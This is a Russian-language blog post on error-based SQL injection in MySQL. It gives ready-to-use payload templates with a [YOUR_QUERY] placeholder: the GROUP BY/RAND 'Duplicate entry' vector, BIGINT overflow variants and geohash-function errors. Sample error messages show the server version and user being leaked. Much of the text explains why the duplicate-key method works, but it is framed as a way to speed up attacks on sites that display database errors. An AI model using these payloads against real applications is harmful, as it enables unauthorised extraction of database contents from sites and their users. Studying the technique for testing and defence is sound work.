Error-Based SQL injection в MySQL

3 комментария

SQL injectionЧто такое SQL инъекцию сегодня наверное знает каждый второй ребенок. Error-Based — уже менее знакомый термин, но все же так же прост для понимания.

На всякий случай попробую объяснить. В некоторых ситуациях инъекция происходит в запросе который непосредственно не выводит никаких данных на страницу, либо же вообще никак не влияет на вывод. И если в первом случае данные из базы можно извлечь относительно просто, используя IF, косвенно влияя на вывод страницы, и тем самым прибегнув к бинарному поиску. То вот во втором случае — все очень грустно, бинарный поиск, как правило, основывался на конструкции SLEEP и замере времени ответа, что давало огромные задержки на вывод данных через эту инъекцию.

Следующей вехой в развитии этой атаки стал вектор Error-Based. Он основывается на выводе информации в тексте ошибки выполнения запроса. Как вы понимаете, для этого нужен прямой вывод текста ошибки на саму страницу. Да я согласен, это бывает не часто, и вообще за вывод ошибок на продакшене нужно жестоко карать. Но если вам повезло, то это поможет существенно сократить время атаки.

Duplicate entry

Наверное это один из самых популярных векторов атаки. Его предложил некто Qwazar еще в лохматые года. Выглядит он вот так:

SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)x GROUP BY CONCAT(MID([YOUR_QUERY], 1, 63), FLOOR(RAND(0)*2))

Потом этот способ дорабатывали все кому не лень (забегу немного вперед, в т.ч. и я), в итоге самый оптимальный и короткий запрос на сегодняшний день выглядит вот так:

SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2)x GROUP BY MID([YOUR_QUERY], FLOOR(RAND(33)*2), 64)

Так например, такой запрос:

SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2)x GROUP BY MID(VERSION(), FLOOR(RAND(33)*2), 64)

Выведет вот такую вот ошибку:
Duplicate entry '5.5.25-log' for key 'group_key'
Как видно — мы смогли передать в текст ошибки нужные нам данные, что существенно ускорит нашу атаку в дальнейшем. Ограничение — за один запрос выведется не более 64 символов.

Почему это работает

Почему это работает?

Скажу честно, ради этого я и писал эту статью)

Максимально упростим запрос и сделаем его нагляднее:

SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)x GROUP BY FLOOR(RAND()*2)

Рассмотрим запрос внимательно. В нем 3 строки группируются по полю RAND (при этом FLOOR(RAND()*2) может вернуть либо 1 либо 0). Для этого MySQL создает промежуточную, временную таблицу temporary table, и, проходя каждую строку, записывает в нее результат вычислений. После чего на основе этой таблицы строится результат самого запроса. Для нашего случая эта таблица должна бы выглядеть как то так:

group_key|count
---------+--------
 1       | 2
 0       | 1

group_key — как уже понятно — является результатом вычисления FLOOR(RAND()*2) для каждой строки. При этом group_key является уникальным индексом в этой таблице, т.е. два значения group_key равным например «1» — недопустимая ситуация.

То как организуется заполнение этой временной таблицы, выглядит приблизительно так в виде псевдокода:

если (ключ [FLOOR(RAND()*2)] существует в temporary_table ) {
  //увеличить счетчик для данного group_key
  выполнить("UPDATE `temporary_table` SET `count` = `count` + 1 WHERE `group_key` = FLOOR(RAND()*2)")
} иначе {
  //добавить новую строку
  выполнить("INSERT INTO `temporary_table` (`group_key`, `count`) VALUES (FLOOR(RAND()*2)), 1")
}

(на самом деле немного не так, возможно связано с какими-то дополнительными оптимизациями, надо лезть в исходники, мне лень)

Обратите внимание! В результате этих манипуляций на каждую одну строку два раза вызывается RAND.

Теперь представим на секунду что FLOOR(RAND()*2)) выдаст следующий порядок значений на каждый вызов 1 1 1 1 0 1, то временная таблица будет заполнятся следующим образом:

// '1' еще не существует в `temporary_table`
INSERT INTO `temporary_table` (`group_key`, `count`) VALUES (1, 1);

// '1' уже существует в `temporary_table`, увеличиваем счетчик
UPDATE `temporary_table` SET `count` = `count` + 1 WHERE `group_key` = 1;

// '0' еще не существует в `temporary_table`
INSERT INTO `temporary_table` (`group_key`, `count`) VALUES (1, 1); 
//Обратите внимание! Было проверено наличие '0', а вставляется '1'

В итоге на последнем запросе мы видим ошибку «Duplicate entry«, так как он пытается вставить во временную таблицу второе уже существующее значение уникального индекса. Т.е. MySQL проверил что «group_key = 0» еще нет в таблице, и решил добавить его, но при этом при добавлении вызывал еще раз RAND, которое вернуло другое значение «1«, которое уже существует в таблице.

Вернемся к оригинальному запросу (допустим мы хотим получить VERSION()):

SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)x GROUP BY CONCAT(MID((VERSION()), 1, 63), FLOOR(RAND(0)*2))

Для RAND здесь указан конкретный seed равный 0 (RAND(0) <----- где "0" это seed). seed — это начальное значение с помощью которого генерируются остальные случайные числа. Т.е. для всех одинаковых реализаций генератора случайных чисел с одинаковым заданным seed должен выдаваться одинаковый набор чисел. В случае MySQL гарантируется что для одинаковых версий будет сгенерирован одинаковый набор чисел.

При выполнении этого запроса group_key будет выглядеть как то так 5.5.251 и заполнятся временная таблица будет следующим образом:

// '5.5.251' еще не существует в `temporary_table`
INSERT INTO `temporary_table` (`group_key`, `count`) VALUES ('5.5.251', 1);

// '5.5.251' уже существует в `temporary_table`, увеличиваем счетчик
UPDATE `temporary_table` SET `count` = `count` + 1 WHERE `group_key` = '5.5.251';

// '5.5.250' еще не существует в `temporary_table`
INSERT INTO `temporary_table` (`group_key`, `count`) VALUES ('5.5.251', 1);

На последнем запросе мы получим желанную ошибку:
#1062 - Duplicate entry '5.5.251' for key 'group_key'

Если подобрать другой seed, например 33 (еще подойдут 37,41,45,49,53,57,61,65,…), так чтобы порядок значений выдаваемых RAND сыграл нам на руку раньше, то можно немного сократить запрос:

SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2)x GROUP BY MID([YOUR_QUERY], FLOOR(RAND(33)*2), 64)

На таком наборе данных мы избегаем второго шага, и тем самым нам достаточно всего двух строк в подзапросе.

Ошибка переполнения типа данных

Подробнее здесь. Буду краток, вектор выглядит вот так:

SELECT (i IS NOT NULL) - -9223372036854775808 FROM (SELECT ([YOUR_QUERY])i)a

Пример ошибки:
BIGINT value is out of range in '(('5.5.25-log' is not null) - -(9223372036854775808))'
Данный способ покруче предыдущего так как позволяет вывести аж 475 символов вместо 64, но говорят что работает не на всех версиях MySQL. Проверить это у меня возможности нет, поэтому оставлю это на совести авторов. По крайней мере на версии 5.5 это работает точно.

Еще похожая вариация:

SELECT !(SELECT * FROM(SELECT USER())x)-~0

Это выдаст вот такую ошибку:
'((not((select 'root@localhost' from dual))) - ~(0))'

Гео-функции

Появились только в MySQL >= 5.7.5

SELECT ST_LatFromGeoHash(VERSION());
//Incorrect geohash value: '5.7.6-m16-log' for function ST_LATFROMGEOHASH

SELECT ST_LongFromGeoHash(VERSION());
//Incorrect geohash value: '5.7.6-m16-log' for function ST_LONGFROMGEOHASH

SELECT ST_PointFromGeoHash(VERSION(),0);
//Incorrect geohash value: '5.7.6-m16-log' for function ST_POINTFROMGEOHASH

Удобно, но 5.7.5 — это большая редкость на сегодняшний день. Тут я это наверное привел только ради того чтобы предложить альтернативу, предыдущим техникам и разбавить статью. Вряд ли это кто то применит на практике.

Заключение

Основной акцент в статье был сделан на то почему работает «Duplicate key»-метод (ради того чтобы не потерять мой пост отсюда), т.к. этот метод порой вызывает огромное недоумение. Ну а в целом буду собирать здесь все известные мне методы данной атаки.

Благодарю за внимание.

Добавить комментарий

Прочли запись? Понравилась? Не стесняйтесь, оставьте, пожалуйста, свой комментарий. Мне очень интересно, что вы думаете об этом. Кстати в комментарии вы можете задать мне любой вопрос. Я обязательно отвечу.

Вы можете оставить коментарий анонимно, для этого можно не указывать Имя и email. Все комментарии проходят модерацию, поэтому ваш комментарий появится не сразу.